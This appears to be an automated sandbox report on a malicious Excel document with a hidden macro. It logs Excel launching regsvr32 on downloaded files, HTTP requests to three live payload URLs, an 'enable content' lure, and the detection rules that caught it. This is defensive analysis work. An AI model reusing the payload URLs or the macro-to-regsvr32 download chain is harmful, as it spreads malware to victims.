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Windows Analysis Report art-76929842.xls

Overview

General Information

Sample Name:	art-76929842.xls
Analysis ID:	502690
MD5:	33bcf716b28185aa2eda847e59ee2ae7
SHA1:	bb2fa1728615f885c215c7e9accfdbcba123fd0d
SHA256:	3dfc7abbc90d50209ca4584cbad952babf00bafc0e37dbbee31b1b184b74f718
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Multi AV Scanner detection for submitted file

Sigma detected: Regsvr32 Command Line Without DLL

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Yara detected hidden Macro 4.0 in Excel

Yara signature match

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Document contains embedded VBA macros

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 264 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 1444 cmdline: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2832 cmdline: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2568 cmdline: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
art-76929842.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x3aeaa:$s1: Excel 0x3bf57:$s1: Excel 0x34eb:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
art-76929842.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Regsvr32 Command Line Without DLL

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 264, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, ProcessId: 1444

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 264, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test, ProcessId: 1444

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: art-76929842.xls

Virustotal: Detection: 32%

Perma Link

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 216.172.187.35:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.0.119.207:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.233.72.245:443 -> 192.168.2.22:49167 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 216.172.187.35:443

Source: global traffic

DNS query: name: bostonavenue.org

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 216.172.187.35:443

Source: global traffic	HTTP traffic detected: GET /zunSJE0UYwbJ/sunise.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: bostonavenue.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /0aafNmAW9/suraise.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: pmqdermatology.com.auConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /0KICC3zxK2nT/sunraie.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: funzy.idConnection: Keep-Alive

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000003.00000002.454774029.00000000039F0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.447980808.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.436627297.00000000039B0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.454455452.0000000001DB0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.447583685.0000000001E20000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.436100435.0000000001D50000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.454774029.00000000039F0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.447980808.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.436627297.00000000039B0000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\sunise[1].htm

Jump to behavior

Source: unknown

DNS traffic detected: queries for: bostonavenue.org

Source: global traffic	HTTP traffic detected: GET /zunSJE0UYwbJ/sunise.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: bostonavenue.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /0aafNmAW9/suraise.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: pmqdermatology.com.auConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /0KICC3zxK2nT/sunraie.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: funzy.idConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 216.172.187.35:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.0.119.207:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.233.72.245:443 -> 192.168.2.22:49167 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 18 19 I OK I 20 (D PROTECTED VIEW Be careful- files from the 1nterne :cted View.
Source: Screenshot number: 4	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Screenshot number: 8	Screenshot OCR: Enable Editing 18 '9 41' I 20 (D PROTECTED VIEW Be careful- files from the 1nterne :cted View.
Source: Screenshot number: 8	Screenshot OCR: Enable Content 25 26 (i) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 3
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing 0 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless yo
Source: Document image extraction number: 0	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing (D PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 1	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Screenshot number: 12	Screenshot OCR: Enable Editing (D PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Screenshot number: 12	Screenshot OCR: Enable Content (i) SECURITY WARNING Macros have been disabled. Enable Content If you are using a m

Source: art-76929842.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: art-76929842.xls

OLE indicator, VBA macros: true

Source: art-76929842.xls

Virustotal: Detection: 32%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: art-76929842.xls

OLE indicator, Workbook stream: true

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test	Jump to behavior

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD2E7.tmp

Jump to behavior

Source: classification engine

Classification label: mal76.expl.winXLS@7/0@3/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 2024	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1580	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 284	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2808	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2124	Thread sleep time: -60000s >= -30000s	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: art-76929842.xls, type: SAMPLE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting1	Path Interception	Process Injection1	Disable or Modify Tools1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection1	Security Account Manager	System Information Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol13	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer2	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
art-76929842.xls	33%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Link
bostonavenue.org	2%	Virustotal	Browse
pmqdermatology.com.au	0%	Virustotal	Browse
funzy.id	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://bostonavenue.org/zunSJE0UYwbJ/sunise.html	0%	Avira URL Cloud	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
https://pmqdermatology.com.au/0aafNmAW9/suraise.html	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
https://funzy.id/0KICC3zxK2nT/sunraie.html	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bostonavenue.org	216.172.187.35	true	false	2%, Virustotal, Browse	unknown
pmqdermatology.com.au	101.0.119.207	true	false	0%, Virustotal, Browse	unknown
funzy.id	194.233.72.245	true	false	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bostonavenue.org/zunSJE0UYwbJ/sunise.html	false	Avira URL Cloud: safe	unknown
https://pmqdermatology.com.au/0aafNmAW9/suraise.html	false	Avira URL Cloud: safe	unknown
https://funzy.id/0KICC3zxK2nT/sunraie.html	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	false		high
http://investor.msn.com	regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	false		high
http://www.icra.org/vocabulary/.	regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000003.00000002.454774029.00000000039F0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.447980808.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.436627297.00000000039B0000.00000002.00020000.sdmp	false		high
http://investor.msn.com/	regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	regsvr32.exe, 00000003.00000002.454774029.00000000039F0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.447980808.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.436627297.00000000039B0000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	regsvr32.exe, 00000003.00000002.455487458.00000000049C7000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448650990.0000000004B37000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437826931.0000000004A87000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	regsvr32.exe, 00000003.00000002.455257697.00000000047E0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.448425020.0000000004950000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.437501666.00000000048A0000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	regsvr32.exe, 00000003.00000002.454455452.0000000001DB0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.447583685.0000000001E20000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.436100435.0000000001D50000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
101.0.119.207	pmqdermatology.com.au	Australia	55803	DIGITALPACIFIC-AUDigitalPacificPtyLtdAustraliaAU	false
216.172.187.35	bostonavenue.org	United States	46606	UNIFIEDLAYER-AS-1US	false
194.233.72.245	funzy.id	Germany	6659	NEXINTO-DE	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	502690
Start date:	14.10.2021
Start time:	09:50:39
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	art-76929842.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.expl.winXLS@7/0@3/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe

Simulations

Behavior and APIs

Time	Type	Description
09:51:25	API Interceptor	314x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
101.0.119.207	BWKPI3LiLi.jar	Get hash	malicious	Browse	serendibsourcing.com/credit/printing.pdf
101.0.119.207	BWKPI3LiLi.jar	Get hash	malicious	Browse	serendibsourcing.com/credit/printing.pdf

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALPACIFIC-AUDigitalPacificPtyLtdAustraliaAU	art-1881052385.xls	Get hash	malicious	Browse	101.0.113.93
	art-1881052385.xls	Get hash	malicious	Browse	101.0.113.93
	doc-379851424.xls	Get hash	malicious	Browse	101.0.112.4
	doc-379851424.xls	Get hash	malicious	Browse	101.0.112.4
	doc-220808714.xls	Get hash	malicious	Browse	101.0.112.4
	doc-220808714.xls	Get hash	malicious	Browse	101.0.112.4
	ITT - PPCL-2021-0515-PKG4 - pipping and drilling Services.doc	Get hash	malicious	Browse	116.90.56.138
	Inquiry-Doors.exe	Get hash	malicious	Browse	101.0.91.38
	product specification.exe	Get hash	malicious	Browse	101.0.117.102
	7PUgGUWM2l	Get hash	malicious	Browse	182.160.170.135
	Attached Quotation.exe	Get hash	malicious	Browse	101.0.117.102
	Cd9EA600XXdm0tl.exe	Get hash	malicious	Browse	101.0.117.102
	E8ljMuBj9L	Get hash	malicious	Browse	111.67.13.18
	QcXQmNSaSp	Get hash	malicious	Browse	49.156.27.62
	arm7	Get hash	malicious	Browse	111.67.13.28
